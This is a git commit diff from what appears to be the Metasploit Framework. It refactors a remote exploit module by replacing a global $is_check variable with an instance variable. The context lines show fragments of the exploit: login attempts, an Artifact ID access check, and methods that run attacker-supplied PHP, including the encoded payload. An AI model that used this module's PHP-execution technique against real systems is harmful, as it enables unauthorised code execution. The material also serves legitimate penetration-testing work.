Fix global var $is_check (make ivar @is_check)

MS-2855/keylogger-mettle-extension
William Vu 2017-12-18 03:15:33 -06:00
parent 0973bfb922
commit 0e2a158abd
1 changed files with 7 additions and 7 deletions

View File

@ -60,7 +60,7 @@ class MetasploitModule < Msf::Exploit::Remote
unless res && (res.code == 201 || res.code == 200) && res.body
msg = "Login failed with #{user}:#{pass}"
if $is_check then print_error(msg) end
print_error(msg) if @is_check
fail_with(Failure::NoAccess, msg)
end
@ -94,7 +94,7 @@ class MetasploitModule < Msf::Exploit::Remote
unless res && res.code == 200
msg = "Something went wrong"
if $is_check then print_error(msg) end
print_error(msg) if @is_check
fail_with(Failure::UnexpectedReply, msg)
end
end
@ -116,7 +116,7 @@ class MetasploitModule < Msf::Exploit::Remote
end
else
msg = "Failed to retrieve the login page"
if $is_check then print_error(msg) end
print_error(msg) if @is_check
fail_with(Failure::NoAccess, msg)
end
@ -132,7 +132,7 @@ class MetasploitModule < Msf::Exploit::Remote
unless res && res.code == 302
msg = "Login failed with #{user}:#{pass}"
if $is_check then print_error(msg) end
print_error(msg) if @is_check
fail_with(Failure::NoAccess, msg)
end
@ -157,14 +157,14 @@ class MetasploitModule < Msf::Exploit::Remote
if res && res.code == 200 && res.body =~ /Exiting with Error/
msg = "No access to Artifact ID #{datastore['AID']}"
$is_check ? print_error(msg) : fail_with(Failure::NoAccess, msg)
@is_check ? print_error(msg) : fail_with(Failure::NoAccess, msg)
end
res
end
def check
$is_check = true
@is_check = true
flag = rand_text_alpha(rand(10)+20)
res = exec_php("print '#{flag}';")
@ -178,7 +178,7 @@ class MetasploitModule < Msf::Exploit::Remote
end
def exploit
$is_check = false
@is_check = false
exec_php(payload.encoded)
end
end